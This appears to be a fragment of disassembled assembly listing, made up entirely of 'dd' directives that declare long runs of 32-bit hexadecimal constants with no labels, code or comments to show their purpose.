		dd 0FF65379Ah, 67805293h, 0A0B038C9h, 0B62019A0h, 3FF98C4Ah
		dd 7270EC2Fh, 0E1DE3BBDh, 718FFA4Ch, 5E0408EDh,	13D6A43Ah
		dd 5ADB7A07h, 38D4DEF7h, 16AAF595h, 0C2720C98h,	0FC4AC7E8h
		dd 8108C2B2h, 0F39AC6E8h, 0E79F60D9h, 55E15878h, 0B9E44213h
		dd 19B410C7h, 426AF54Eh, 0F86C7892h, 137ABD20h,	0EFC15Eh
		dd 44D4CF91h, 58C112B1h, 17BB6DFAh, 7425A16Fh, 5E408553h
		dd 5BD92621h, 3E0207CDh, 2963A69h, 496D128Ah, 0D51485C0h
		dd 7C87A325h, 0EF011369h, 0F13E1839h, 508B3F81h, 9C4C910h
		dd 7603EDC0h, 131F1FF2h, 523141E0h, 0F14668BAh,	432FEC77h
		dd 41BBF0D3h, 0B8E8C2A6h, 0CAC231D7h, 0D52572F4h, 0A5B647BEh
		dd 8782C393h, 3A5A5F55h, 27E2FB0h, 17CF4B20h, 0AC40478Fh
		dd 3C929431h, 0C2A712C8h, 0F4827A8Dh, 484505BEh, 3568CAC1h
		dd 0F93F1DDBh, 4E6CA8h,	6F44AFB9h, 1F1816Dh, 4C2C4734h
		dd 35498C0Fh, 3D42D233h, 0AE5EF225h, 223D5141h,	422B1B05h
		dd 0ECA1E90Ah, 0DA6A9BFFh, 92675FCEh, 0C8B1C4A9h, 4102EA3Dh
		dd 0EB1E08F7h, 9A4E843Dh, 54FE6175h, 963ED96Ch,	0E809F2C4h
		dd 0F76BF87Fh, 20CB3E02h, 0D668AC01h, 804BF47Fh, 72B4D79Ah
		dd 66507552h, 0A1198BDh, 0E492B7DCh, 77E183EBh,	0BE188E42h
		dd 80A0409h, 337D5AECh,	0CF616D70h, 7FD83B9h, 765FFBF2h
		dd 1AAC085Eh, 81548918h, 2CAE1FE1h, 0B149D727h,	193CC05Ch
		dd 0FA0C4E60h, 832DB03Eh, 9D54F9F0h, 0F302E926h, 0FE208997h
		dd 9D8534ADh, 1DE09B6Eh, 1E1CEE88h, 0CC634802h,	0DAD7CD53h
		dd 9F805B49h, 0A3A59F9Fh, 1048CF7Dh, 133049h, 89E1884Fh
		dd 2C6858CBh, 69D17457h, 2C4CA680h, 0E4983D2Bh,	3FAF5B33h
		dd 0BD550328h, 382E36A1h, 943107F9h, 129CF085h,	5D6492B7h
		dd 1404C8F8h, 0EA5E7D3Dh, 5F2D9BB6h, 0BAC5A3F5h, 0EF0084A9h
		dd 413C6271h, 5320BA98h, 142C0940h, 8BF5EA89h, 0C084E6C5h
		dd 0CB40E7B2h, 0CF37092Ah, 71414459h, 0F96A70C6h, 7B460447h
		dd 8CC13D60h, 0AF045203h, 0C18F1BD3h, 93A18AAh,	315D5D58h
		dd 8C501C14h, 3F22C13h,	56D9F70Ah, 2A8E0EE9h, 515F5412h
		dd 27E36308h, 4A207852h, 66535C5Bh, 48448710h, 12520B3h
		dd 7152FEBBh, 5CD3F75Fh, 6F5FDAFAh, 93FDADh, 71059AC5h
		dd 0B9D02963h, 0FF5A2708h, 0CBA8B516h, 4F045E68h, 0DF73E972h
		dd 0A0017DC8h, 80C70636h, 6A131E35h, 3AB78E3h, 0FFBB53E2h
		dd 6F6D85C9h, 0F221C809h, 1BE914A7h, 0D0044C62h, 0E94E57B2h
		dd 7EA90909h, 0B5DC82E4h, 0E803DEDBh, 2612ABE2h, 28230B77h
		dd 91D38E10h, 0C963D682h, 0E2D190FFh, 127BBFCBh, 0FC22C02Dh
		dd 0C1D49999h, 5202BF57h, 99645F15h, 9283666Eh,	2502E783h
		dd 32A07BB4h, 427D2CA7h, 2C8C5A9Fh, 0A0B51F73h,	0E8C01888h
		dd 48040703h, 5825C5F6h, 674978FEh, 6FBB0638h, 0EC28897Fh
		dd 0EB2030F7h, 86E9136Fh, 0D798D2E5h, 7A9E6800h, 5A252538h
		dd 0C99D9E58h, 0A44105FAh, 37F17CD6h, 18869730h, 1820FD26h
		dd 0A105BE30h, 5AD301EBh, 41A8CBFFh, 7BA73108h,	9241A2F0h
		dd 0B76D97FFh, 0BD4EC820h, 0CC6EE0B1h, 6CB733E5h, 4AFBBD38h
		dd 0E45714C2h, 15584BD1h, 0AB4F01A9h, 255952Eh,	6DE6BD29h
		dd 0AECAD330h, 9B5DE809h, 582C303Bh, 7A12430Dh,	0DA806772h
		dd 4F8D85ADh, 5FF68A98h, 1FC48ABDh, 0F1C5D00Dh,	0AD3D3833h
		dd 0FC8C921Bh, 680032AEh, 0D8F62048h, 0FE3D4CF2h, 2EF097C0h
		dd 78B93054h, 0B3CD2B29h, 0F61DA6A4h, 71ABCBBBh, 6BA86889h
		dd 5BA534B4h, 204189C7h, 1317DF4Bh, 4AFF03D2h, 61DC59ADh
		dd 7E0127B6h, 0B7012BB3h, 0BA330C26h, 2502F48Eh, 26AD529Dh
		dd 8239388Fh, 9816554Eh, 6DD8D44Ah, 89BFE978h, 0EBB37BC3h
		dd 0E9C561F3h, 0E714C8EAh, 3AF1C0C1h, 8F756229h, 428BF03Fh
		dd 0F4313525h, 38450D21h, 3F7CC9C4h, 5A3083B7h,	5637B230h
		dd 9F047A5Ah, 1D124366h, 0E4B9D7EEh, 0F81AC1D1h, 0D04A3322h
		dd 0AA11D2CCh, 0BD216B2Ch, 74521A5Eh, 1DE904D9h, 34D9AF8Eh
		dd 1D3955F4h, 0B401287Ch, 0C08185Ch, 787E3D5Ah,	5FC8585Bh
		dd 202F1F6Dh, 3F95CD0Eh, 0D5613FE0h, 0AB05C062h, 226E8BC0h
		dd 2F197C23h, 0EAF19F78h, 8A4E8B90h, 0F08C4E80h, 0DA0837E9h
		dd 5B17664Fh, 0FB1D4090h, 0C35DE328h, 61EB4B7Fh, 0D20E68FFh
		dd 7611B977h, 0EF52983Eh
		dd 8C303128h, 85C4414Fh, 2ED32F83h, 40EB4410h, 293EADE2h
		dd 5A4A527Fh, 6768CBC9h, 1C64E9B2h, 75004A9Fh, 4524064Fh
		dd 38077245h, 0BFA3A7C7h, 4FC9D9D1h, 0B7F1377Bh, 2C93E395h
		dd 68703FF2h, 899C0553h, 13400429h, 8B3F3EE4h, 3B234BD1h
		dd 27457047h, 0F7812291h, 1B8AD441h, 1887CFD8h,	18734C39h
		dd 0FA304502h, 34AF0C21h, 3174082h, 4D4E4C75h, 550408ACh
		dd 0FAA3A7E9h, 5147C330h, 0B87C4E56h, 78B69A03h, 9456B72Dh
		dd 1CB75358h, 0B21B179h, 4D825BF9h, 0F8CA020Fh,	8C12C756h
		dd 403D4BE4h, 61B487C8h, 6BD848E9h, 1298BF67h, 0B89D466Ch
		dd 0BD018892h, 0AC111EB1h, 8208EE59h, 0E6C183BBh, 51EBA52Bh
		dd 970C80E8h, 0F54F1AC9h, 0A8C78605h, 6AF7805Fh, 2E24C642h
		dd 0E92FD21h, 0D12445D5h, 17C0AEEDh, 9D3259E9h,	530F5C2Fh
		dd 0D2A5553Fh, 0A18B412Fh, 0ECD2AFDh, 0DA13DA16h, 92E9A90Eh
		dd 455EE34Bh, 0D56884C9h, 3CDCAF33h, 6A930CBFh,	0ECA0676Fh
		dd 44660D02h, 4CB083E9h, 4B6DF2CBh, 9617B508h, 15EC5D61h
		dd 0A3E2AD17h, 0C1FB2D91h, 60855F64h, 0C04B44AEh, 1269EFA4h
		dd 8E6A0A28h, 0AFA85990h, 5A14E8B9h, 4BE41041h,	79BEE800h
		dd 2F74553Ah, 3561F521h, 42E85CFh, 0FB0088A8h, 5B66DC28h
		dd 1CF41D80h, 8D0FC2F6h, 56C824DBh, 0B54C51D4h,	59EC0597h
		dd 0F5D3E188h, 0CC58C28Ah, 0BD5502B4h, 687819FCh, 2C9640F5h
		dd 0A4225BA5h, 3040B15Ah, 15D709B9h, 8C05B33h, 98BFFF6Ah
		dd 8043D2F1h, 0F23F2F35h, 0C831A764h, 0B5ABD06Ah, 94D43A85h
		dd 4B2ECE7h, 28E560D6h,	74188ECh, 25E3A93Fh, 76222351h
		dd 0F6FF84B9h, 1CC70B6Ch, 0E2DB02C9h, 25BFA2Eh,	1122B83Fh
		dd 843F329h, 4FB0783Eh,	380D22EFh, 0A361ACDAh, 37C9801Bh
		dd 80DED5F4h, 0E562C166h, 7C033BDAh, 1C236073h,	97A04530h
		dd 7E819DBh, 0B100E5ECh, 5271F21Bh, 3201ACBAh, 0E6C640B0h
		dd 7931C45Dh, 47FA2556h, 9668BA68h, 81C1134Dh, 32567B53h
		dd 8154002Fh, 0B50A01CAh, 0C33958h, 2C386F88h, 54BB12Dh
		dd 0D0291F6Dh, 21071605h, 84ED4A40h, 48890F56h,	68D945EBh
		dd 8A3720FAh, 0D17C8BEFh, 0C5191A25h, 0BE4C30C3h, 63EA4BBFh
		dd 41CE8100h, 0F0E1E7Ch, 36EC2088h, 0DE6D126h, 0F9803C16h
		dd 0A9229968h, 4928ABAFh, 8E685027h, 4B1F40EFh,	49CB7648h
		dd 939ED77Bh, 0A368510Eh, 0CAFE1248h, 448110D5h, 7631101h
		dd 7B4C0169h, 0C00CE8Dh, 0B2803CE9h, 9AC20591h,	0BB5AD588h
		dd 330D5F1h, 0ADA3896Fh, 9482DDCFh, 0A2AB5984h,	4C797900h
		dd 86F8682Dh, 19EBC830h, 303D8DF2h, 2DD89863h, 691C5A28h
		dd 46650356h, 2F68F6CAh, 3C461744h, 427AB038h, 0E13EB4Ch
		dd 25E601h, 5128B652h, 74F6F588h, 0E9EE09D5h, 8C29D0E4h
		dd 0FE13EEF5h, 0AB415857h, 296E68B0h, 0A2DD7997h, 41A19703h
		dd 4F2A8E9h, 0E791A1C0h, 895E77h, 386CC178h, 80D3309Dh
		dd 6E4C405Dh, 0FBD302Ah, 461B54A6h, 0F90B2CE5h,	768505EFh
		dd 0F815C53h, 0C1006860h, 6D603EBh, 5FB53304h, 2C8C3DEBh
		dd 0E95082D8h, 22487773h, 491D03C7h, 0E7810993h, 72E13034h
		dd 0B8C4F660h, 0E9480DD5h, 40A43A10h, 564E081Ah, 0AC87314Fh
		dd 822CD8B6h, 5B0CC10Bh, 30E9D758h, 0BD6CE5D3h,	0D4127540h
		dd 41FF011Ah, 4A10BF2Ch, 55B2E774h, 0B758A554h,	470D254Ah
		dd 3934A3C4h, 0EAE48F28h, 1A59C16h, 7C23FDBFh, 0F71DE933h
		dd 3EE2662h, 0EAAA0CDAh, 253C2600h, 3A85E381h, 544B8AFh
		dd 225F27F3h, 0D4B50141h, 812CBB14h, 9903CA0Ch,	0E804354h
		dd 15CB20E5h, 0E92FDE29h, 0F76B09D1h, 2B970740h, 9A7EDA3Eh
		dd 751A7D91h, 0AA07787Bh, 82191638h, 4DF2DC3h, 0AF3CFE54h
		dd 94B72EE9h, 0E50140DCh, 7AE9AC59h, 9A7A54B5h,	62FA4A29h
		dd 5177D9DBh, 80E962D2h, 5166AB5Fh, 58E20A83h, 0E8D4024h
		dd 0C1065235h, 0F75308E3h, 82F38C28h, 3C74181h,	4B88954h
		dd 0DC99AED2h, 16C6F27Fh, 0C7529BE9h, 0D72ED4A3h, 0EA6808E6h
		dd 300E923Ah, 49DF91B8h, 0D45B5659h, 7F36E6ACh,	0ABF2313Eh
		dd 70E2B20Ch, 43D40143h, 79111D8Bh, 10DDF74Ch, 0FD440BF5h
		dd 52F0C3E9h, 0DC5ADD94h, 25962744h, 0C329E918h, 4B20538h
		dd 0F039D52h, 8174948Fh, 5874EEE0h, 23137DA7h, 5BB84603h
		dd 6F6925DCh, 504FA602h, 684E6202h, 9E6D650h, 0E6565BCBh
		dd 1C42D467h, 0F2B8E06Eh, 7009E865h, 1222DE9h, 0E9E0CC51h
		dd 9F011EBFh, 4827AC6Eh, 208C5205h, 52A1CA12h, 0E2AA15B2h
		dd 0AAA6B1AFh, 0B5613825h, 0EE4A3E32h, 0A959C454h, 0BD06465h
		dd 0B5FA9A09h, 0AD3B7FE7h, 2DFD4608h, 18F5C968h, 0F4F363Bh
		dd 3DE965BCh, 0C120BBD3h, 3E8EA9C7h, 0A19A5E73h, 9075F435h
		dd 1202E3C2h, 473168D5h, 9C06641h, 41BFCCD7h, 6C0D64EEh
		dd 0FE31F9BCh, 42577B4Fh, 0D202BEE2h, 50F309B1h, 330B061Eh
		dd 0CF9CF2D8h, 0F27A5451h, 65C1C969h, 5E18B0C0h, 3B48B61Dh
		dd 0E95178EFh, 4EF06D08h, 2D956786h, 0D8596468h, 3038B183h
		dd 9CF93F9h, 0B5516608h, 0CCA4B603h, 0DE31D21Ch, 0CE87F384h
		dd 115A081h, 8046223h, 0C27FFD65h, 12DF0309h, 40114A2Ah
		dd 5C6F45AEh, 0EB04B48Bh, 0C29627C8h, 758AFDEh,	57BD585Fh
		dd 2EA5A4E5h, 0BF200C41h, 48990FCBh, 1A854027h,	6CF88DC3h
		dd 9785162Bh, 0DDAB0D13h, 799CE0F4h, 1362EC95h,	0BD7CC4E9h
		dd 20EC2D11h, 639FDADh,	0BCB4F63Dh, 381A2662h, 1A78485h
		dd 4982C2F3h, 1042B900h, 621E7A56h, 0D831C5D6h,	50A46C45h
		dd 7A05C42h, 0F862625Dh, 0D101B482h, 0E65169E1h, 25BEF4Ch
		dd 6E4AEC8h, 0E9513D0Ah, 8028F9BCh, 0AC25A8C1h,	57AF99CBh
		dd 671B7860h, 61CAD14Eh, 3078EB47h, 21090128h, 55098EB2h
		dd 56B66082h, 2DB77E09h, 5C20456h, 0EBC0016Bh, 3069204h
		dd 0AB4068E2h, 0B7B02550h, 0AE2C8956h, 0EE80C804h, 0A0AFC0FEh
		dd 4032E953h, 0E1F061C5h, 0C525E3CAh, 2E5E016Fh, 2E80DEA7h
		dd 0E33AF399h, 11A3968Eh, 9CB85000h, 5622C0Eh, 131A2F0Eh
		dd 3438A7D4h, 870F2BE0h, 95614B73h, 4D8D8248h, 0D28E2854h
		dd 0C2802258h, 721A4092h, 0B450801Ah, 0CCFEB706h, 908E4D0h
		dd 5153D4F6h, 230B936Ch, 72676Ch, 0F603B91Ch, 0E4D6052h
		dd 869AC2DAh, 0BF3E913h, 0BAD231E3h, 0E2154B8Ah, 0E1407892h
		dd 1132AE8h, 8EB80209h,	31661D06h, 5A5825E8h, 280E0E90h
		dd 0D27FAC3Bh, 5E893BB2h, 0A94EE284h, 34EB2492h, 2E0ABC3Bh
		dd 82068F3h, 17EE92Ch, 0A58B5F9Eh, 0C249E2Eh, 35F8E9DFh
		dd 0FA413DB9h, 406FB43h, 74500D60h, 12FEA890h, 0CF151E9h
		dd 7BF4E36Bh, 0C7BFA02Ah, 62F7F09Fh, 6E4F51B7h,	10D85404h
		dd 0A989A152h, 5730883Ch, 0E41BA0F6h, 0B1A13E5Bh, 96B227FCh
		dd 0D6226200h, 7E1C7C68h, 5767389Ch, 55168C92h,	0C783A705h
		dd 8E043932h, 757DF255h, 0F578CE32h, 7E480C1h, 992FF108h
		dd 0B486084Dh, 1CF3BD03h, 9DEE10C2h, 686605C5h,	3CA56397h
		dd 0F549B9E0h, 59A3B46Bh, 0B2047EFBh, 5F00AF99h, 4C37F181h
		dd 24F4C948h, 0C2AF96D7h, 49C3D146h, 0DCFA4D6Bh, 60935376h
		dd 5B5AF9C0h, 0A028E666h, 0A419F2AFh, 771F0FFFh, 91642C69h
		dd 271EB9F5h, 12987BDFh, 0EA965263h, 0E66EA82Dh, 5FC4625Ah
		dd 37CDFF2Dh, 1B0B8C26h, 9019FDEBh, 96077ADDh, 0C391BBBEh
		dd 46B0979h, 9ACDFABh
		dd 0B735C54h, 8E541453h, 0BF08E62h, 1527B002h, 0A7409BF2h
		dd 9DDBB088h, 6C71044h,	2FB271Dh, 468EA819h, 52500104h
		dd 0A4723BAh, 0E9D0E818h, 81947A48h, 0F09FAFEAh, 5ED78B28h
		dd 4142474h, 0AA01232Fh, 4A023198h, 0DEF1AD5Ah,	22502AD7h
		dd 20AC5E88h, 0BFFCC4F4h, 3C98A4CAh, 992E5DAEh,	5C24E40Dh
		dd 51BA752Fh, 5041696h,	11E64666h, 892DB5C2h, 7F438207h
		dd 0AD62F403h, 457BD8F0h, 4E83BD5Eh, 0C017C980h, 0C5D906F1h
		dd 40731D20h, 0F60781EEh, 9CFA86B4h, 4B3F04B2h,	70B3B2CFh
		dd 815B004Eh, 6E6FC4F3h, 0DA79891Eh, 0A587D99Fh, 0A88343DAh
		dd 8AABE08Ah, 63B4BD22h, 57840F02h, 0D14F30A0h,	0C6FE56E7h
		dd 61255991h, 953EFCAEh, 89B4FCC4h, 5E71C13Eh, 0FD72AA82h
		dd 0D7FC9AFEh, 642FD628h, 611512CFh, 54BF8C4Fh,	1210ACD8h
		dd 97BF0326h, 0D733883Ah, 60AB5D04h, 65EAED9Ah,	0C9DF471h
		dd 5ED6FEC4h, 26C0A288h, 0D9825853h, 5C2E2B66h,	3C0E05C9h
		dd 0DCDAC050h, 565A9573h, 8A0FAF80h, 8704FB1Eh,	1B68C108h
		dd 64C02EC9h, 0B69C345Eh, 0DE90659h, 495028AEh,	4C60B192h
		dd 0A06FC137h, 89972F5Fh, 0BA3D7DC0h, 0FBF1DDDh, 656A9174h
		dd 0D3552A38h, 97E25E58h, 0C1E9F581h, 658A6F6Dh, 24124310h
		dd 321B3630h, 660D0506h, 0FB548651h, 10D2740Ch,	0E9D11288h
		dd 287C80A1h, 6C5E2CF8h, 0D073BF04h, 0C385A8ADh, 2BE6EADAh
		dd 5BD1AC4Eh, 73C0B2D1h, 84F2743Eh, 0E175E8E4h,	0EB04CEA7h
		dd 45512DC8h, 0E2D5FCBCh, 2931917Eh, 40617ECEh,	0AD5DE589h
		dd 4E8D6318h, 0CE20993Dh, 0B8C325BAh, 0EF9E4AFEh, 0C496C22Ah
		dd 0AFDC505Eh, 18040335h, 8800FB86h, 0EC805AF4h, 0C4265273h
		dd 8114C5CFh, 8683C5C6h, 0B4A0F8B8h, 7512361Fh,	44FBDBF7h
		dd 0DB17F157h, 39119C8h, 5620F692h, 0C05A1FF7h,	0B551C1E7h
		dd 20CD8092h, 876EDFAh,	0E9176FE6h, 833B035h, 516C954h
		dd 0F42E9725h, 703E092Fh, 0B6B85EACh, 0ACD27449h, 8B7217FFh
		dd 0ED0298E2h, 0D1FADB52h, 5B5A5057h, 0EAD29070h, 9C2C233Bh
		dd 0A15600Ch, 1B0E2EC9h, 5B47359Eh, 0AAF32D57h,	34894C4Bh
		dd 0E0A0F020h, 7997CCDDh, 605AA827h, 32C65F7Ch,	1D5CCBACh
		dd 9A0D277Bh, 0B737582Dh, 36338850h, 27E67B64h,	22755B85h
		dd 7DBEF391h, 0BE4CEA8h, 72F97B2Ah, 0E1101490h,	0AD035E07h
		dd 0D9FBEA80h, 7A6D3E6Ch, 2C15E9B1h, 159093Eh, 0A7E7FD54h
		dd 0E9C14D26h, 8B3F1B74h, 84344CC2h, 13EB66E9h,	0D91BFC3h
		dd 0E82ABACBh, 5731B235h, 386A8D72h, 1A0685DDh,	22A46972h
		dd 9B8B133Fh, 7A9682C9h, 75063349h, 0E38D0402h,	6870A177h
		dd 202D7A8Ch, 3021B609h, 89B7097Dh, 6B875DC8h, 4DD479F0h
		dd 72BE5DA7h, 9412F8B1h, 6528AAA1h, 0A52A2F51h,	0C19FF854h
		dd 0FCD81DCEh, 5F99DD2Ch, 742AF536h, 68C8AFF1h,	0A98EAB3Dh
		dd 0E3481C95h, 0EAD02608h, 0BCCE08D5h, 0F602EB20h, 96E9D328h
		dd 0C6BD48A3h, 57FC27C4h, 392741F0h, 0C714515Dh, 0D0E3F553h
		dd 786335B9h, 583C8C25h, 982900Eh, 7C8233B6h, 464D8B01h
		dd 39BE41D0h, 92206D6h,	7FD416FAh, 12518889h, 213BCA0Eh
		dd 0BF573E1Fh, 0E092AE68h, 1641A269h, 302FA30h,	0AD6CC581h
		dd 6BF1E792h, 7FA425F7h, 277C3CB3h, 0C62334F0h,	76E16BEBh
		dd 0A00C823Bh, 7EE7421Ah, 2CFE2523h, 0C7C0775Ah, 597D5551h
		dd 0AC940198h, 0C01365ACh, 0DC5064AEh, 0C86B9237h, 0EED20E0Ah
		dd 0F5ED33B8h, 13057284h, 6C26B400h, 2BB3DC8h, 27A64B6Dh
		dd 0B0DBF331h, 1D67C301h, 0B307F6Ch, 1868808Eh,	9D234D4Bh
		dd 5312C855h, 5D4625CBh, 39264F40h, 97226328h, 0D2B678A9h
		dd 554115C0h, 0A4685700h, 5F7FCF7Dh, 8E0F0B47h,	97494FB6h
		dd 0DC1DADA5h, 0CD290126h, 6B301668h, 0E80B0FF3h, 6E7D5950h
		dd 0F5629F40h, 245EE09h, 6B00F22Dh, 0E024DB6h, 0C7E4B0C4h
		dd 0F6F1374Ah, 0D3FCAD7Ah, 0FF60E2CBh, 53DFB652h, 53996BEh
		dd 3DC5E9EBh, 0C1EF5492h, 9D459F66h, 8250E7FAh,	791BAD68h
		dd 0B58286Ch, 232C6632h, 99D01200h, 6813DCD3h, 5F3549FDh
		dd 6A03A1ECh, 5F25F739h, 26074AC7h, 5DE31316h, 0C756AF65h
		dd 28747E69h, 0CDFE20A9h, 0CD8719Fh, 7D93CEC6h,	16317C5Bh
		dd 4CD9070Ah, 75979082h, 527A65F6h, 1671E001h, 3FDAE908h
		dd 64736F40h, 85454F25h, 16C8ED7Dh, 4BC915B7h, 56025542h
		dd 507250B3h, 0E93AF205h, 218831BBh, 0DA281C85h, 73D0135Bh
		dd 70E5FFEBh, 0A0321923h, 0A0E9223Ch, 255B7636h, 0E25A265Ah
		dd 0BF258F10h, 0D089B751h, 93A55EE9h, 7AA0EF68h, 0FA3B9659h
		dd 49CC79DDh, 20C446D7h, 2D04B7A9h, 401670CFh, 77710FEh
		dd 30F4045Bh, 0DAB2FADAh, 0F1CA4A94h, 831B42A5h, 8DC21A5Eh
		dd 4227DE9Bh, 0CD68BE15h, 84992B5Eh, 0C244100h,	1606B94Dh
		dd 0AC393161h, 2F45804h, 743D4543h, 91DC2201h, 6CF72902h
		dd 4B2BFA0Fh, 530C22D8h, 61E3F9DFh, 0F8672F5Ah,	9DEE9EEEh
		dd 0EC7950BDh, 0D36D12A8h, 0FD604156h, 286E3117h, 1074122h
		dd 1EADE73h, 52DDCBFEh,	0BF02E128h, 3E9E2291h, 0B8DEA257h
		dd 3EC675E7h, 7B95774h,	0EB55C8h, 1714BA64h, 31492E98h
		dd 0EC5A9725h, 3F60004Ah, 0D1F70B08h, 0EEE92541h, 7A5D4561h
		dd 0E90C78CBh, 0AD88E860h, 187E6812h, 0D900D3A3h, 0E965BE53h
		dd 26D2D651h, 99A2D1EFh, 0A8D4E7B6h, 1FFD618h, 0FB3974AFh
		dd 384D7177h, 0F55C2FFDh, 605F6B29h, 0E14F493Bh, 51D9710Ch
		dd 0C000C536h, 0F09D07E0h, 6ECD4191h, 43D97388h, 85277974h
		dd 531F015Dh, 0FC6EE1C1h, 2EF60524h, 8F82513Bh,	0BEC6D816h
		dd 7B685160h, 8A8462FDh, 1A2B14C7h, 0AB5B636Dh,	0E845F7D7h
		dd 0E9C1836Ah, 0BD2AB8C9h, 0D682A27h, 3D85C22Ah, 3253A3FAh
		dd 0DFE909C2h, 0B5D9D422h, 904804D6h, 0F284802Ah, 96F7CFE9h
		dd 0B3F1C34Bh, 0E2A7B228h, 74641E50h, 84D43C0Bh, 85AB894Fh
		dd 428A1374h, 0E5A9F04Eh, 1DC97013h, 0E2F4CD0Bh, 3E6AF334h
		dd 0E8FA3317h, 427BC92Fh, 5FB22B8Dh, 0E893EE5h,	256AE754h
		dd 7899645h, 156C77D1h,	0F1C0912Fh, 4D0490Ch, 0EBC4C14Fh
		dd 2E2468FFh, 24B86E5Eh, 1DDC52C4h, 0F0A8E0A7h,	57459F44h
		dd 0AF015712h, 6A461BD7h, 5B0F1F4h, 0E968827Fh,	4633B8D6h
		dd 0F79910F9h, 4AE1810Eh, 9632C327h, 0FD023AD9h, 0E9A582CBh
		dd 3A95F459h, 9EDF2D27h, 0F7B09F3Ch, 5381B4DCh,	0FED0E922h
		dd 69442705h, 50AFE37Ah, 14A84CEEh, 0B5493CE9h,	25D34CCEh
		dd 0BE29D91Ah, 0E5C04385h, 0D8F4FE05h, 0E0664F06h, 1E1F6D8h
		dd 422CD21h, 3EEE4410h,	0D83F8B2Dh, 717280Fh, 9DBE5B12h
		dd 0B5642CCBh, 8C838AAEh, 14B9FF5Dh, 83027AB3h,	560C0A7Bh
		dd 4B14B28h, 0B3425E68h, 73AE019Ah, 0E9213EDEh,	0CFE1EC2Fh
		dd 5FC0B52Dh, 0F70CCF85h, 9F3160EDh, 807ED9ABh,	0D578903Eh
		dd 0F484803Eh, 9750860Fh, 0A02CE47Fh, 8EC059F6h, 25327F07h
		dd 7C69F5Ah, 12FDBCC8h,	43354E48h, 0B377AB77h, 5E1E41B2h
		dd 7A74B3CCh, 49CD31E1h, 4AE12B13h, 0B2E5F03Fh,	5FA804B7h
		dd 401780EFh, 2C4D9068h, 0E9B09FAFh, 2D531935h,	79E13F50h
		dd 98992055h, 1950D80h,	56BDC2Eh, 0C970DEE5h, 0F3628809h
		dd 9457255Bh, 4AB0FE5Ah, 0CCB4903Ah, 3E09566Ah,	0E302870Fh
		dd 55C3AD82h, 8A080BD2h, 0F10C8BCAh, 0C3F7A07Ah, 0B548FC84h
		dd 3AF73DEBh, 98B6BB8h
		dd 10D008D7h, 0B07B4Fh,	0F75FC791h, 0F829913Fh,	0D88AA94h
		dd 0B4D42D2Fh, 7D9DEE01h, 0F1CB3253h, 3DA7CF67h, 50662055h
		dd 42FB151h, 0E942C980h, 0C6F4E496h, 0CCA4A00Fh, 62156BC5h
		dd 5ED85535h, 41E30805h, 54B8020Ch, 0A46CF878h,	75E9190Ch
		dd 0D980C0C2h, 1D10E0EFh, 0C1EB5BCFh, 0F3B8C53h, 96EBDCDh
		dd 4AD7439Dh, 707BFF2Ah, 16D1140Eh, 9B300DA5h, 0E4885B52h
		dd 1101CF47h, 0C6490155h, 0CD326CC1h, 79066808h, 0C94EE905h
		dd 15062FFh, 0BD4C3342h, 23F1820h, 0CE30CFB8h, 11402114h
		dd 0F2829FFAh, 0B2D1F38Eh, 60AFE864h, 2CCAD790h, 6B7B984Fh
		dd 0EA807F5Fh, 0BBF5756h, 8F17BC1h, 0BE09A8D2h,	7C604670h
		dd 0A0072014h, 0C17F2FD0h, 8E9442A7h, 0AC3AE839h, 7AEE63C0h
		dd 0EC793D64h, 34E02F6h, 0F1899C1Fh, 0D4783CC2h, 70EF832Dh
		dd 0F70F545Ah, 0E28C09B9h, 2540C74Fh, 7102062Dh, 0F0291380h
		dd 11078B05h, 0B12B64F2h, 28173B93h, 151F28BEh,	0ADF8EE4Fh
		dd 70E2AAB4h, 2A6857C2h, 0A099B1DFh, 0FB1D396h,	8626C8FFh
		dd 0F23CE552h, 0D9E39E4Ah, 24C0B3D2h, 393108BFh, 64CD0AEFh
		dd 4EF5Eh, 30BEC168h, 20B2B86Bh, 0E90ACC1Fh, 582D8025h
		dd 0AB11D868h, 60D6C013h, 257EE3h, 5433692Dh, 38A2355Ch
		dd 40A9262Fh, 90EAC16Bh, 0FFB13164h, 1864956Dh,	0B43C171Ch
		dd 3D16FF35h, 396D404h,	71662D00h, 897F45ECh, 79C7C604h
		dd 75ACD268h, 803982D7h, 4121D061h, 4C1BD83h, 818D00AFh
		dd 4B083AEAh, 7A0C4660h, 80649627h, 9B7D4D66h, 51B9AADFh
		dd 140CA208h, 0B42044FDh, 0CB7092CAh, 0FA2E56BFh, 7AA5BD5Eh
		dd 0EE97B7F2h, 7BCEE989h, 0CBEB6B97h, 0EE2DF5F0h, 31072948h
		dd 59CDF7B8h, 0DAC983Ah, 77486F7Bh, 392004AFh, 53C10282h
		dd 52032E40h, 6BAB1EB1h, 0C75B7A5Fh, 58E5801Bh,	59EF0B28h
		dd 0E2C3FB04h, 68665BA0h, 0E71AC424h, 0C93EEB4Eh, 0B96B95A1h
		dd 7ECA056Dh, 0E8FC32E4h, 68525703h, 0C1FD7849h, 4AFBEC5h
		dd 0C2E30BAFh, 0D54BFF64h, 0AC2A7AA1h, 1488B59Ah, 207E9846h
		dd 0EEA06597h, 1004DD28h, 13E956CBh, 464E5891h,	13226DDh
		dd 537CD07h, 8D0FF13Ch,	8C403BF8h, 0B31AB0EDh, 0D8E91070h
		dd 9512790Eh, 8CAAD189h, 0D1971C54h, 0B54C558h,	0DAC24851h
		dd 0D9978D78h, 0E12D64B9h, 39E1FE9Fh, 42382983h, 7F582735h
		dd 7397B196h, 99ED0BF8h, 0CC9E66B1h, 0BF014AFAh, 50EE273Fh
		dd 0C66CE7E9h, 0EBEF0813h, 195649CAh, 8015B600h, 0F73033C6h
		dd 5BE95A09h, 8252D17Ah, 0E76DB564h, 2D072BD8h,	268E532Bh
		dd 0D555D082h, 30394572h, 59D72EFAh, 5FF3B717h,	60302D4Eh
		dd 18979C7Fh, 80B4BDE7h, 0C232685Ch, 5695F114h,	0A27628D8h
		dd 262A57A2h, 6B8E47D0h, 12FE1AB4h, 20AEF69h, 0E4DFE7EFh
		dd 9DE20904h, 7E546E0Dh, 49813912h, 0C77FACE9h,	9BFA070Fh
		dd 0B2B2ED87h, 67C48A1Ah, 0BD0780BEh, 31876730h, 0A15D6FFFh
		dd 2EEBC981h, 0FBD1F7F8h, 1E1A7BCBh, 0C538B6F1h, 0EE311C05h
		dd 0E9FB1C9h, 19FF2759h, 836C2BE9h, 96645B29h, 0AB90BEEAh
		dd 5FB0225Eh, 202DAA44h, 24AAE1D8h, 9363A4Bh, 90F5BB25h
		dd 0F440B141h, 16994D1h, 4B8A0F43h, 0C3398E8Bh,	0E411C190h
